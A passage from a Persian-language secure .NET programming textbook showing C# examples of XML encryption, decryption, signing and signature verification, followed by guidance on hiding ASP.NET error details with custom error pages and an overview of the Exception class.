عنصر موردنظر جستجو کرده و آن را به صورت یک شی از نوع  برای مشخص کردن را XML دبالا، سن کد

XmlElement  روش از استفاده با . سپسکندمیجدا EncryptedData کلاس از EncryptedXml  آن را

 درستی قبل از استفاده به باید اما شده را دارید، رمزگذاری یهاداده حاضر در حال .کندمی رمزگذاری

 عنصر یک ایجاد برای موارد لازم یهمه کردن کپسوله برای EncryptedData بندی شود. کلاسقالب

 ایم. ویژگیهدکر ایجاد کلاس این از نمونه ، بنابراین یکشودمی صحیح استفاده قالب با شده رمزگذاری

EncryptionMethod ویژگی به شدهرمزگذاری هایداده و کندمیاستفاده را مشخص  مورد الگوریتم 

CipherValue ویژگی از CipherData کلاس در EncryptedData روش نهایت، اند. دراضافه شده 

ReplaceElement کلاس از EncryptedXml  شده با رمزگذاریبرای جایگزین کردن متن اصلی با عنصر

 دهد.برای رمزگذاری را نمایش می XMLای از سند نمونهزیر است. مثال  شده صحیح استفاده قالب

<?xml version="1.0" encoding="utf-8" ?> 

 <envelope>    

     <to>barryd@idunno.org</to>  

     <from>yourbank@bank.com</from>  

     <message> You have just been paid.</message > 
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</envelope>  

 زیر رمزگذاری کنید: کد از تفادهاس با را message عنصر توانیدمی سپس

XmlDocument document = new XmlDocument 

{ 

    PreserveWhitespace = true 

}; 

 

// Load the document and then continue. 

RijndaelManaged algorithm = new RijndaelManaged(); 

Encrypt(document, "message", algorithm); 

جدید از کلاس الگوریتم متقارن کلیدهای  یهای قبل گفتیم، ایجاد یک نمونهکه در بخش طورهمان

 ایمن کلید پایگاه یک از کلیدها را باید ،نهایی کد دررمزنگاری را به صورت خودکار تولید خواهد کرد. 

 XMLکنید. سند  سازیبه صورت امن ذخیرهرمزنگاری را بعد از استفاده  هایکلید یا بارگذاری کرده

 مزگذاری شده مانند زیر خواهد بود:ر

<?xml version=”1.0” encoding=”utf-8”?> 

<envelope> 

  <to>barryd@idunno.org</to> 

  <from>yourbank@bank.com</from> 

  <EncryptedData Type=”http://www.w3.org/2001/04/xmlenc#Element” 

        xmlns=”http://www.w3.org/2001/04/xmlenc#”>      

     <EncryptionMethod 

Algorithm=”http://www.w3.org/2001/04/xmlenc#aes256-cbc” /> 

     <CipherData> 

       <CipherValue>p1D/....FIT2Q==</CipherValue> 

     </CipherData> 

  </EncryptedData> 

</envelope> 

 عنصر) شده رمزگذاری هایداده شامل که EncryptedData عنصر یک با message عنصر که ببینید توانیدمی

CipherData) استفاده مورد روش یاطلاعاتی درباره چنینهم و (عنصرEncryptionMethod  )یگزین جا

مورد استفاده را به اشتراک بگذارد، این اطلاعات برای رمزگشایی عنصر  IVشده است. اگر گیرنده، کلید و 

 کافی است.

در  که باشید داشته یاد به. کنید استفاده زیرشده در مثال ه یارااز روش  توانیدمی ها،داده رمزگشایی برای

 .کنیماستفاده میشده رمزگذاری هایداده رمزگشایی برای یکسان IV و کلید از متقارن، هایالگوریتم

public static void Decrypt(XmlDocument xmlDocument, 

     SymmetricAlgorithm algorithm) 

{ 

     // Check the arguments. 

     if (xmlDocument == null) 

         throw new ArgumentNullException("xmlDocument"); 

     if (algorithm == null) 

         throw new ArgumentNullException("key");     
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     // Find the EncryptedData element in the XmlDocument. 

     XmlElement encryptedElement = 

         xmlDocument.GetElementsByTagName( 

              "EncryptedData")[0] as XmlElement;     

     // If the EncryptedData element was not found, 

     // throw an exception. 

     if (encryptedElement == null) 

     { 

         throw new XmlException("No encrypted element was found."); 

     } 

     // Create an EncryptedData object and populate it. 

     EncryptedData encryptedData = new EncryptedData(); 

     encryptedData.LoadXml(encryptedElement);     

     // Create a new EncryptedXml object. 

     EncryptedXml encryptedXml = new EncryptedXml();     

     // Decrypt the element using the symmetric algorithm. 

     byte[] rgbOutput =  

        encryptedXml.DecryptData(encryptedData, algorithm); 

     // Replace the encryptedData element with the 

     // plaintext XML element. 

     encryptedXml.ReplaceData(encryptedElement, rgbOutput);  

} 

جستجو کرده و اولین عنصر رمزگذاری شده را پیدا کرده و نسبت به رمزگشایی آن  XMLاین روش در سند 

 .کندمیاقدام 

 XML رمزگشایي و رمزگذاری برای نامتقارن کلید جفت یک از استفاده 

 رمزگذاری الگوریتم. ندارد نیازی پنهان هایکلید گذاریاشتراک به نامتقارن رمزگذاریدانید که می طورهمان

 با مطابق خصوصی کلید دارنده تنها توسط کند. رمزگشاییگیرنده استفاده می عمومی از کلید رمزگذاریبرای 

 تنها دارد و آن این است که ضعف نقطه یک نامتقارن رمزنگاری حال، این با. است پذیرامکان عمومی کلید

 ها را رمزگذاری کند.داده از کمی تواند مقادیرمی

در فصول قبل در مورد کلید نشست صحبت کردیم. کلید نشست یک کلید متقارن است که به صورت 

کوچک  کافی اندازه به نشست هایکلیدشود. شود و برای رمزگذاری داده از آن استفاده میخودکار تولید می

 کلید از استفاده با نشست کلید بنابراین کرد، رمزگذاری نامتقارن هایالگوریتم توسط را هاآنهستند که بتوان 

 رمزگذاری شود. استانداردمنتقل می شدهرمزگذاری هایداده با آن از پس است و شده رمزگذاری نامتقارن

XML شده برای استفاده نامتقارن کلید مورد در بیشتر یاتیجز چنینهم نشست و کلید انتقال روش یک 

 آن را تعریف کرده است.  از محافظت

 کلید یک وگیرد را می RSA کلید یک و موردنظر برای رمزگذاری عنصر نام ،XML سند یک زیر کد

 کند.عمومی رمزگذاری می نامتقارن کلید از استفاده را با آن و نشست تولید کرده
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public static void Encrypt(XmlDocument document, 

     string elementNameToEncrypt, RSAParameters rsaParameters)  

{ 

     const string KeyName = “rsaKey”; 

     const string EncryptedElementId = “encryptedMessage”;      

     // Create a new instance of the RSA algorithm and load the key. 

     RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(); 

     rsa.ImportParameters(rsaParameters); 

     // Get the element for encryption. 

     XmlElement elementToEncrypt = 

         document.GetElementsByTagName(elementNameToEncrypt)[0] 

         as XmlElement; 

     if (elementToEncrypt == null) 

     { 

         throw new XmlException( 

             “The specified element was not found”); 

     } 

     // Create a session key as asymmetric algorithms 

     // cannot encrypt large amounts of data. 

     RijndaelManaged sessionKey = 

         new RijndaelManaged { KeySize = 256 }; 

     // Encrypt the required element using the session key. 

     EncryptedXml encryptedXml = new EncryptedXml(); 

     byte[] encryptedElement = encryptedXml.EncryptData( 

         elementToEncrypt, sessionKey, false); 

     // Now create an encrypted data element containing the details  

     // of the algoritm used to generate the session key and the id 

     // for the encrypted element. 

     EncryptedData encryptedData = new EncryptedData 

        { 

            Type = EncryptedXml.XmlEncElementUrl, 

            Id = EncryptedElementId, 

            EncryptionMethod = new EncryptionMethod( 

                EncryptedXml.XmlEncAES256Url) 

        }; 

     // Encrypt the session key using the asymmetric 

     // algorithm created from the passed RSA key. 

     EncryptedKey encryptedSessionKey = new EncryptedKey(); 

     byte[] encryptedKey = EncryptedXml.EncryptKey( 

         sessionKey.Key, rsa, false); 

     // Wrap the encrypted session key with information about 

     // how it was encrypted. 

     encryptedSessionKey.CipherData = new CipherData(encryptedKey); 

     encryptedSessionKey.EncryptionMethod = 

       new EncryptionMethod(EncryptedXml.XmlEncRSA15Url); 

     // Now create a reference for the encrypted session  

     // key which will be used when the encrypted XML  

     // is created. This allows for multiple data 

     // elements to be encrypted using different keys. 

     DataReference dataReference = new DataReference 

       { Uri = “#” + EncryptedElementId }; 

     encryptedSessionKey.AddReference(dataReference); 

     // Add this reference to the encrypted data. 

     encryptedData.KeyInfo.AddClause( 
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       new KeyInfoEncryptedKey( 

         encryptedSessionKey)); 

     // Now create a KeyName element 

     KeyInfoName keyInfoName = new KeyInfoName { Value = KeyName }; 

     encryptedSessionKey.KeyInfo.AddClause(keyInfoName); 

     // And finally replace the plain text with the cipher text. 

     encryptedData.CipherData.CipherValue = encryptedElement; 

     EncryptedXml.ReplaceElement(elementToEncrypt, encryptedData, false); 

     sessionKey.Clear(); 

     rsa.Clear(); 

} 

خواهد مانند زیر  شده رمزگذاری  XML،استفاده کنید متقارن رمزنگاری مثال در نمونه سند از شما اگر

 خواهد بود:

<?xml version=”1.0” encoding=”utf-8”?> 

<envelope> 

  <to>barryd@idunno.org</to> 

  <from>yourbank@bank.com</from> 

  <EncryptedData Id=”encryptedMessage”     

Type=”http://www.w3.org/2001/04/xmlenc#Element”     

xmlns=”http://www.w3.org/2001/04/xmlenc#”>     <EncryptionMethod  

      Algorithm=”http://www.w3.org/2001/04/xmlenc#aes256-cbc” /> 

    <KeyInfo xmlns=”http://www.w3.org/2000/09/xmldsig#”> 

      <EncryptedKey xmlns=”http://www.w3.org/2001/04/xmlenc#”> 

        <EncryptionMethod  

          Algorithm=”http://www.w3.org/2001/04/xmlenc#rsa-1_5” /> 

        <KeyInfo xmlns=”http://www.w3.org/2000/09/xmldsig#”> 

          <KeyName>rsaKey</KeyName> 

        </KeyInfo> 

        <CipherData> 

          <CipherValue>fUPT/....KmU=</CipherValue> 

        </CipherData> 

        <ReferenceList> 

          <DataReference URI=”#encryptedMessage” /> 

        </ReferenceList> 

      </EncryptedKey> 

    </KeyInfo> 

    <CipherData> 

      <CipherValue>R5RTQvAGgW0MVd...ah+gwFin5xu5Q==</CipherValue> 

    </CipherData> 

  </EncryptedData> 

</envelope> 

متقارن مقایسه کنید،  کلید توسط شده تولید شدهرمزگذاری XML را بابه دست آمده در بالا  ینتیجه اگر

 و شده رمزگذاری حاوی اطلاعات هاآن از یکی خواهید شد؛ که CipherData عناصر از دو نمونه یمتوجه

دیگری دربرگیرنده کلید متقارنی است که برای رمزگذاری از آن استفاده شده و خود توسط کلید نامتقارن 

 .استفاده شده است متقارن کلید یاتیجز حاوی عنصر KeyInfo رمزگذاری شده است. عنصرعمومی 
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با کلید متقارن مربوط به هریک رمزگذاری کرد. این کار را  را عنصرچندین  XMLتوان در یک سند می

 رمزگذاری هایداده برای فرد به منحصر عنصر نام و فرد به منحصر کلید نام یک کردن مشخص توان بامی

 راحتی به شما حال، این با. اندثابت در نظر گرفته شده مقادیر این فوق مثال در ،سادگی شده انجام داد. برای

 ورودی برای تابع ارسال کنید. پارامتر عنوان به را هاآن توانیدمی

 .استتر ساده XML رمزگشایی رمزگذاری، کد با مقایسه نشان داده شده است، در زیرکه در مثال  طورهمان

public static void Decrypt(XmlDocument document, 

     RSAParameters rsaParameters)  

{ 

     const string KeyName = “rsaKey”; 

     // Create a new instance of the RSA algorithm and load the key. 

     RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(); 

     rsa.ImportParameters(rsaParameters); 

     // Check the arguments.   

     if (document == null) 

         throw new ArgumentNullException(“document”); 

     // Create a new EncryptedXml object. 

     EncryptedXml encryptedXml = new EncryptedXml(document); 

     // Add a key-name mapping. 

     // This method can only decrypt documents 

     // that present the specified key name. 

     encryptedXml.AddKeyNameMapping(KeyName, rsa); 

     // Decrypt the element. 

     encryptedXml.DecryptDocument();  

} 

 شدهرمزگذاری عنصر استفاده کرده و به دنبال یافتن اولین ثابت کلید نام از یک این کد اختصار، برای مجددا

 عنصر و کلید نام کنید، بایدجداگانه را پشتیبانی می هایکلید با ددشده متعرمزگذاری عناصر شما اگر. است

 پارامتر ورودی دریافت کند. عنوان را به

 XML رمزگشایي و رمزگذاری برای X509 نامهگواهي یک از استفاده 

برای که در حال رمزگذاری  کسیشناسایی  یبه شما اجازه نامتقارن رمزگذاری شد اشاره قبلاً که طورهمان

 دهد.نمیرا فرستاده  هاآنچه کسی  کهاینبه منظور شناسایی طور امضای اسناد را همین واو هستید 

 و رمزگشایی رمزنگاری، برای نتیجه در ،کندمیرا کپسوله  کلیدهای رمزگذاری و تهوی X509 نامهگواهی

 و رمزگذاری از اینمونه زیر . مثالاستمناسب ای که منشأ سند مشخص باشد به گونه اسناد امضای

 .دهدمی نشان را X509 نامهگواهی یک از استفاده با رمزگشایی

public static void Encrypt(XmlDocument document, 

   string elementIdToEncrypt, 

   X509Certificate2 certificate)  

{ 
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   if (document == null) 

     throw new ArgumentNullException(“document”); 

   if (elementIdToEncrypt == null) 

     throw new ArgumentNullException(“elementIdToEncrypt”); 

   if (certificate == null) 

     throw new ArgumentNullException(“certificate”); 

   // Extract the element to encrypt 

   XmlElement elementToEncrypt = 

     document.GetElementsByTagName( elementIdToEncrypt)[0] as XmlElement; 

   if (elementToEncrypt == null) 

     throw new XmlException(“The specified element was not found”); 

   // Create an instance of the encryptedXml class,  

   //and encrypt the data 

   EncryptedXml encryptedXml = new EncryptedXml(); 

   EncryptedData encryptedData = 

     encryptedXml.Encrypt(elementToEncrypt, certificate); 

   // Replace the original element. 

   EncryptedXml.ReplaceElement( 

     elementToEncrypt, encryptedData, false);  

} 

public static void Decrypt(XmlDocument document)  

{ 

   if (document == null) 

     throw new ArgumentNullException(“Doc”); 

   // Create a new EncryptedXml object from the document 

   EncryptedXml encryptedXml = 

       new EncryptedXml(document); 

   // Decrypt the document. 

   encryptedXml.DecryptDocument();  

} 

برای . تر استساده رمزگذاری برای RSA از استفاده نسبت به X509 نامهگواهی یک از استفاده کد

 اطلاعات که جاآن شود. ازتولید می خودکار طور نشست نیست و به کلید یک به نیازی دیگر رمزگذاری

 از شده است، با استفاده تعبیه XML سند ینتیجه در رمزگذاری برای استفاده مورد کلید تشخیص برای کافی

 شود. تر میمنطبق کار تابع رمزگذاری ساده نامهگواهی جستجو برای به منظور اطلاعات این

 XML اسناد امضای ۲-4-7

 و سند امضای مرجع، دارینگه برای پاکت یک امضا، به مرجع یک ایجاد شامل XML سند یک امضای

را  RSA الگوریتم نمونه یک از سند یک برای XML امضای ایجادزیر  باشد. مثالسند می به الحاق امضاء

 دهد.نمایش می

public static void SignXml(XmlDocument document, RSA algorithm)  

{ 

     // Create a SignedXml object. 

     SignedXml signedXml = new SignedXml(document) 

                              { 

                                SigningKey = algorithm 
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                              }; 

     // Create a reference to be signed. 

     Reference reference = new Reference 

                              { 

                                      Uri = "" 

                              }; 

     // Create an envelope for the signature. 

     XmlDsigEnvelopedSignatureTransform env = 

         new XmlDsigEnvelopedSignatureTransform(); 

     reference.AddTransform(env);     

     // Add the reference to the SignedXml object. 

     signedXml.AddReference(reference);     

     // Compute the signature. 

     signedXml.ComputeSignature();     

     // Get the XML representation of the signature and save 

     // it to an XmlElement object. 

     XmlElement xmlDigitalSignature = signedXml.GetXml();     

     // Append the element to the XML document. 

     document.DocumentElement.AppendChild( 

         document.ImportNode(xmlDigitalSignature, true));  

} 

 ویرایش شده اختصار برای SignatureValue عنصر) زیر خواهد بود به شبیه امضاشده چیزی سند یک

 (:است

<?xml version=”1.0” encoding=”utf-8”?> 

<envelope> 

  <to>barryd@idunno.org</to> 

  <from>yourbank@bank.com</from> 

  <message>You have just been paid.</message> 

  <Signature xmlns=”http://www.w3.org/2000/09/xmldsig#”> 

    <SignedInfo> 

      <CanonicalizationMethod  

        Algorithm=“http://www.w3.org/TR/2001/REC-xml-c14n-20010315”/> 

      <SignatureMethod  

       Algorithm=”http://www.w3.org/2000/09/xmldsig#rsa-sha1” /> 

       <Reference URI=””> 

        <Transforms> 

          <TransformAlgorithm= 

            “http://www.w3.org/2000/09/xmldsig#enveloped-signature”/> 

        </Transforms> 

        <DigestMethod  

          Algorithm=”http://www.w3.org/2000/09/xmldsig#sha1”/> 

        <DigestValue>i4QXaOIHLNGsTuAptLdsk9Yzvm8=</DigestValue> 

      </Reference> 

    </SignedInfo> 

<SignatureValue>IMpKlKn3gtf2HHVANL....hg4qMH4jNAMvrGxDU/+iiV9cUYwSI= 

</SignatureValue> 

  </Signature> 

</envelope>  

اضافه شده  XML سند به الگوریتم مورد استفاده، از یاتییجز با امضا، همراه شودمیکه مشاهده  طورهمان

شده برای استفاده عمومی های کلیدبه بخش نیاز ی متقارن،امضا شده سند یک بررسی منظور به. است
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 تشکیل تک امضای یک با شده امضا XML فایل یک چگونه که دهدمی نشان زیر مثال .امضای آن دارید

  .بررسی کرد توانمی را متقارن کلید یک از شده

public static Boolean IsSignedXMLValid(XmlDocument document, RSA key)  

{ 

     // Create a new SignedXml object and load 

     // the signed XML document. 

     SignedXml signedXml = new SignedXml(document);     

     // Find the "Signature" node and create a new 

     // XmlNodeList object. 

     XmlNodeList nodeList = document.GetElementsByTagName("Signature");     

     // Throw an exception if no signature was found. 

     if (nodeList.Count  <=  0) 

     { 

         throw new CryptographicException("No signature found."); 

     } 

     // Load the first  < signature > node.   

     signedXml.LoadXml((XmlElement)nodeList[0]);     

     // Check the signature and return the result. 

     return signedXml.CheckSignature(key);  

} 

برای  نامهگواهی از عمومی بخش معمولاً  که چرا است، ترپیییده کمی X509 نامهگواهی یک ایجاد امضا با

 با XML سند یک امضای ینحوه از نمونه یک زیر مثال. گیردپیام قرار می داخل در کمک به بررسی و تایید،

 دهد.بارگذاری شده را نشان می نامهگواهی یک از استفاده

public static void SignXml(XmlDocument document, X509Certificate2 

certificate) 

{ 

     // Create a SignedXml object. 

     SignedXml signedXml = new SignedXml(document) 

     { 

        SigningKey = certificate.PrivateKey 

     }; 

     // Create a reference to be signed. 

     Reference reference = new Reference 

     { 

        Uri = "" 

     }; 

     // Create an transformation to the reference 

     XmlDsigC14NTransform transform = new XmlDsigC14NTransform(); 

     reference.AddTransform(transform);     

     // Create an envelope to add to the reference 

     XmlDsigEnvelopedSignatureTransform envelope = 

         new XmlDsigEnvelopedSignatureTransform(); 

     reference.AddTransform(envelope);     

     // Add the reference to the SignedXml object. 

     signedXml.AddReference(reference);     

     // Create a key information object to allow verification 

     // to use the embedded certificate public key. 

     KeyInfo keyInfo = new KeyInfo(); 
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     keyInfo.AddClause(new KeyInfoX509Data(certificate)); 

     signedXml.KeyInfo = keyInfo;     

     // Compute the signature. 

     signedXml.ComputeSignature();     

     // Get the XML representation of the signature and save 

     // it to an XmlElement object. 

     XmlElement xmlDigitalSignature = signedXml.GetXml();     

     // Append the element to the XML document. 

     document.DocumentElement.AppendChild( 

         document.ImportNode(xmlDigitalSignature, true));  

} 

 به کلید را اطلاعات بخشی از یک شما توانید در زیر مشاهده کنید. در این حالتشده را میحاصل ینتیجه

اند( شده ویرایش اختصار برای X509Certificate مقدار و SignatureValue)  ایدامضاشده اضافه کرده سند

: 

<?xml version=”1.0” encoding=”utf-8”?> 

<envelope> 

  <to>barryd@idunno.org</to> 

  <from>yourbank@bank.com</from> 

  <message>You’ve been paid</message> 

  <Signature xmlns=”http://www.w3.org/2000/09/xmldsig#”> 

    <SignedInfo> 

      <CanonicalizationMethod  

        Algorithm=“http://www.w3.org/TR/2001/REC-xml-c14n-20010315” /> 

      <SignatureMethod Algorithm=“http://www.w3.org/2000/09/xmldsig#rsa-

sha1” /> 

      <Reference URI=””> 

        <Transforms> 

          <Transform Algorithm=“http://www.w3.org/TR/2001/REC-xml-c14n-

20010315” /> 

          <Transform 

Algorithm=“http://www.w3.org/2000/09/xmldsig#enveloped-signature” /> 

        </Transforms> 

        <DigestMethod Algorithm=“http://www.w3.org/2000/09/xmldsig#sha1” 

/> 

        <DigestValue>CuCJKs417Hp2RfUP9FTgZv4htKc=</DigestValue> 

      </Reference> 

    </SignedInfo> 

    <SignatureValue>SR2++...Tjg=</SignatureValue> 

    <KeyInfo> 

      <X509Data> 

        <X509Certificate>MIIEzDCCA7Sg...Ege5suU9Q=</X509Certificate> 

      </X509Data> 

    </KeyInfo> 

  </Signature> 

</envelope> 

 است، علت این موضوع وجود امضا شده با روش متقارن پیام یک از پیام بزرگتر این بینید،می که طورهمان

 سند یک بررسی. باشداست، می نامهگواهی عمومی هایبخش از رونوشت یک حاوی که KeyInfo عنصر
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X509 متقارن است، این امر در مثال با روش با این روش به سادگی چک کردن سند امضا شده  شده امضا

 نشان داده شده است. زیر

public static bool VerifySignature(XmlDocument document)  

{ 

     // Create a new SignedXml object and load 

     // the signed XML document. 

     SignedXml signedXml = new SignedXml(document);     

     // Find the "Signature" node and create a new 

     // XmlNodeList object. 

     XmlNodeList nodeList = document.GetElementsByTagName("Signature");     

     // Throw an exception if no signature was found. 

     if (nodeList.Count  <=  0) 

     { 

         throw new CryptographicException("No signature found."); 

     } 

     // Load the first  < signature > node.   

     signedXml.LoadXml((XmlElement)nodeList[0]);     

     // Check the signature and return the result. 

     return signedXml.CheckSignature(); 

} 

توجه کنید که در اینجا برای بررسی امضا نیازی به مشخص کردن کلید نیست، چرا که کلید عمومی 

خواهید کلید امضا را برای بررسی امضا استخراج کنید، به ده شده است. اگر میدر امضا گنجان نامهگواهی

 توجه نمایید. زیرمثال 

public static bool VerifySignature( 

   XmlDocument document, 

   ref X509Certificate signingCertificate)  

{ 

   // Create a new SignedXml object and load 

   // the signed XML document. 

   SignedXml signedXml = new SignedXml(document);     

   // Find the "Signature" node and create a new 

   // XmlNodeList object.   XmlNodeList nodeList =  

   document.GetElementsByTagName("Signature");     

   // Throw an exception if no signature was found. 

   if (nodeList.Count  < = 0) 

   { 

     throw new CryptographicException("No signature found."); 

   } 

   // Extract the signing certificate 

   foreach (KeyInfoClause keyInfoClause in signedXml.KeyInfo) 

   { 

     if (keyInfoClause is KeyInfoX509Data) 

     { 

       KeyInfoX509Data keyInfoX509Data = 

         keyInfoClause as KeyInfoX509Data; 

       if ((keyInfoX509Data.Certificates != null)  && 

           (keyInfoX509Data.Certificates.Count == 1)) 

            signingCertificate = (X509Certificate) 



  نتنویسي امن در داتبرنامه 

250 

 

 
 

       { 

              keyInfoX509Data.Certificates[0]; 

       } 

     } 

   } 

   // Load the first  <signature > node. 

   signedXml.LoadXml((XmlElement)nodeList[0]); 

   return signedXml.CheckSignature();  

} 

 XML برای لیستچک یک 3-4-7

 :خود دنبال کنید یبرنامه در XML از استفاده زیر را هنگام لیستچک

 XML ترکیب خوش که باشید داشته یاد به. اعتبارسنجی شود آن از استفاده و اعتماد از قبل باید

 کند.اعتبار آن را تضمین نمی XML سند بودن

 یهمه XMLزمان که ممکن است از  سنجی کنید. هرگیرانه اعتبارسخت شمایرا با یک  ها

اگر نیاز به استفاده از شماهای خارجی دارید از یک استفاده کنید.  XML های محلیرونوشت

 مکانیزم کش استفاده کنید.

 به شما یبرنامه اگر کلی، طور را براساس نیاز خود انتخاب کنید. به مناسب روش رمزگذاری 

 یبرنامه اگر. متقارن انتخاب کنید الگوریتم ابه نیاز دارد، یکمش هایداده رمزگشایی و رمزگذاری

 کنید. انتخاب را نامتقارن الگوریتم یک خارجی ارتباط دارد، سیستم یک شما با

  ها اطمینان داشته باشید همیشه از امضای دیجیتال استفاده نسبت به تغییر نکردن داده خواهیدمیاگر

به  نشده رمزگذاری یهاداده ها کافی نیست. حتیتغییرات در دادهرمزگذاری برای تشخیص  .کنید

مکانیزم امنیتی در  یک هیارا برای دیجیتال امضای از. دارند نیاز تغییرات تشخیص برای مکانیسم یک

 مقابل تغییرات غیرمجاز استفاده کنید.
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 نتمدیریت، نظارت و ثبت خطا در دات 8

دهد باشند. باید قادر به مدیریت یکنواخت خطاهایی که در طول اجرا رخ می ASP.NETهای برنامه

ASP.NET ( از زبان مشترک زمان اجراCLRاستفاده می ) کند که روشی را برای اعلام خطا به صورت

شود. یک استثنا یک افتد، یک استثنا ایجاد میکند. وقتی یک خطا اتفاق میها فراهم مییکنواخت به برنامه

 شود.طا، حالت یا رفتار غیرمنتظره است که یک برنامه با آن مواجه میخ

وب هستند. ارسال  یهای خطا یکی از مفیدترین جاها برای یافتن اطلاعات هنگام حمله به یک برنامهپیام

 هایی از چگونگی عملکردنشانهتواند باعث بروز خطاهای درونی شود که غیرمنتظره به یک برنامه می یداده

ها پذیریکند که همه به کشف آسیبمیارایه های دیگر حمله کند و اطلاعاتی را درباره راهسیستم را فاش می

 یشما را از طریق یک صفحه یکارکرد داخلی برنامه ASP.NETدهد انجامند. وقتی یک استثنا رخ میمی

 کند:خطا که در شکل زیر نشان داده شده است فاش می

 

 ASP.NET فرضپیشخطای  ی: صفحه1-8شکل 
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توانید نویسان و متاسفانه برای مهاجمان است. شما میخطا پر از اطلاعات مفید برای برنامه یاین صفحه

ای از پای پشته از برنامه، نسخه استثنای رخ داده، کد اطراف خطی که خطا در آن رخ داده، یک رد

ASP.NET وب را ببینید.  یها روی دیسک میزبان برنامهکه روی کارگزار وب اجرا شده است و محل فایل

های این خطا را به درخواست فرضپیشبه صورت  ASP.NETاین به وضوع یک مشکل است. خوشبختانه 

 کنند:یخطا مطابق شکل زیر مشاهده م یدهد. کاربران راه دور یک صفحهمحلی نشان می

 

 دورراهبرای کاربران  ASP.NETخطای برنامه  فرضپیش ی: صفحه۲-8شکل 

دهد که برنامه نشان می چنینهمدهد که یک خطا رخ داده و خطا به مهاجم نشان می فرضپیش یصفحه

 خطا خودداری کنید. فرضپیشاست. شما به این دلیل باید از استفاده از صفحات  ASP.NET ییک برنامه

 شوند:کنترل می web.configدر فایل  customeErrorsصفحات خطا با استفاده از عنصر پیکربندی 

<system.web> 

    <customErrors mode="On" defaultRedirect="~/error.aspx"> 

    </customErrors> 

</system.web> 

مقداردهی شده است. این پیکربندی  error.aspxبا مقدار  defaultRedirectدر مثال پیکربندی فوق، صفت 

شوند و این به شما امکان وب شما فرستاده می یبرنامه یدر ریشه error.aspxیعنی تمام خطاها به صفحه 

خواهید صفحات خطای ید. اغلب، شما میش دهیخطای سفارشی به کاربرانتان نما یدهد که یک صفحهمی
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متفاوتی را بر اساس خطای رخ داده نشان دهید. مثلا پیکربندی زیر خطاهای عدم یافتن صفحه را به 

notfound.aspx فرستد:می 

<system.web>  

     <customErrors mode="On" defaultRedirect="~/error.aspx" >  

         <error statusCode="404" redirect="~/notfound.aspx" />  

     </customErrors>  

</system.web>    

 های خطا است، ولی دو نقطه ضعف زیر را دارد:این یک رهیافت ساده برای پیام

  از طریق یک کد پاس   کارخواهمرورگر وبHTTP 302 (Object Movedبه صفحه )خطا  ی

را به عنوان  شود و اغلب اینمیشود. این به سادگی توسط ابزارهای اسکن تشخیص داده ارسال می

 گیرند.ای برای یک خطای بالقوه در نظر مینشانه

 ای از وضعیتی که باعث بروز خطا شده به سادگی قابل دسترسی نیست، بنابراین شما هیچ سابقه

 گذارد.ده ندارید و این احتمالا خطاها را کشف نشده باقی میآنیه که باعث بروز خطا در برنامه ش

های کامل شوند که خطاها را در یک کارگزار وب عملیاتی با استفاده از پیامنویسان ترغیب میاغلب برنامه

خطا برطرف کنند و بتوانند این خطاها را از ایستگاه کاری راه دور خود مشاهده کنند. با این حال هیچ روشی 

خطای  یهای خاص وجود ندارد و تغییر وضعیت به صفحهای محدود کردن صفحه خطای کامل به ماشینبر

شان داده ن 1-8شکل کامل به این معنی است که هر کس که یک باعث یک خطا شود چیزی شبیه آنیه در 

 کند.شده است، مشاهده می

کند که نوعی از به عنوان مدیریت نامناسب خطا یاد میها هایی نظیر اینپذیریآسیب از OWASPنکته: 

 نشت اطلاعات است.

رود. یک استثنا به ارث می System.Exceptionاست که از کلاس  شینت، یک استثنا یک در چارچوب دات

فراخوانی به بالا رد  یشود. این استثنا در پشتهشکل به وقوع پیوسته است، ایجاد میای از کد که مدر منطقه

استثنا را مدیریت نکند، مرورگر  یکه برنامه کدی برای مدیریت استثنا فراهم کند. اگر برنامهشود تا جاییمی

 شود.مجبور به نمایش جزییات خطا می

مدیریت کنید.  Try/Catch/Finallyهای خطاها را در سطح کد با استفاده از بلوکبه عنوان بهترین تجربه، 

افتد ای که اتفاق میای استفاده کنید که کاربر بتواند مشکلات را در زمینهها را به گونهسعی کنید که این بلوک

اطلاعات ارایه باشند، های مدیریت خطا خیلی از جایی که خطا اتفاق افتاده است دور برطرف کند. اگر بلوک

 شود.تر میلازم برای رفع خطا به کاربران مشکل
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 Exceptionکلاس  1-8

هایی از یک استثنا نمونه اشیاروند. اکثر ای است که استثناها از آن به ارث میکلاس پایه Exceptionکلاس 

، کلاس SystemException، نظیر کلاس Exceptionشده از کلاس مشتقکلاس 

IndexOutOfRangeException  یا کلاسArgumentNullException  هستند. کلاسException 

 ها عبارتند از:کند. این ویژگیتر میدرک یک استثنا را سادهکه هایی دارد، ویژگی

  ویژگیStackTraceتوان برای تعیین پا از پشته را در خود دارد که از آن می : این ویژگی یک رد

پای پشته شامل نام فایل کد منبع و اگر اطلاعات  ق افتاده استفاده کرد. ردکه خطا در آن اتفاجایی

 است. خط برنامه ییابی موجود باشد شمارهعیب

  ویژگیInnerExceptionای از استثناها در مجموعه دارینگهتوان برای ایجاد و : این ویژگی را می

ویژگی برای ایجاد یک استثنای جدید که توانید از این طول مدیریت استثنا استفاده کرد. شما می

توان توسط استثنای دوم در استثناهای قبلی را در خود دارد استفاده کنید. استثنای اصلی را می

کند بتواند اطلاعات نگه داشت تا کدی که استثنای دوم را مدیریت می InnerExceptionویژگی 

 اضافی را بررسی کند.

دهد. کد سعی ها را شکل میخواند و دادهدارید که یک فایل را می عتاب فرض کنید که شما یک مثلاً

را  FileException تابعشود. ایجاد می FileExceptionکند که از فایل بخواند ولی یک استثنای می

توان در را می FileExceptionکند. در این مورد، ایجاد می BadFormatExceptionگیرد و یک می

 ذخیره کرد. InnerExceptionویژگی 

  ویژگیMessage کند. میارایه : این ویژگی جزییاتی در مورد علت استثنا 

  ویژگیHelpLinkتوان یک : در این ویژگی میURL  به یک فایل راهنما ذخیره کرد که اطلاعات

 علت یک استثنا دارد. یاضافی کاملی درباره

  ویژگیData این ویژگی یک :IDictionary های دلخواه را به صورت زوج یتواند دادهاست که می

 مقدار در خود نگه دارد.-کلید

کنند؛ سازی نمیروند اعضای بیشتری یا عملکرد بیشتری پیادهبه ارث می Exceptionهایی که از اکثر کلاس

توان در ا میترین اطلاعات برای یک استثنا رروند. بنابراین مهمبه ارث می Exceptionفقط از  هاآن

 مراتب استثناها، نام استثنا و اطلاعات درون استثنا پیدا کرد.سلسله
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 مراتب مدیریت استثناسلسله ۲-8

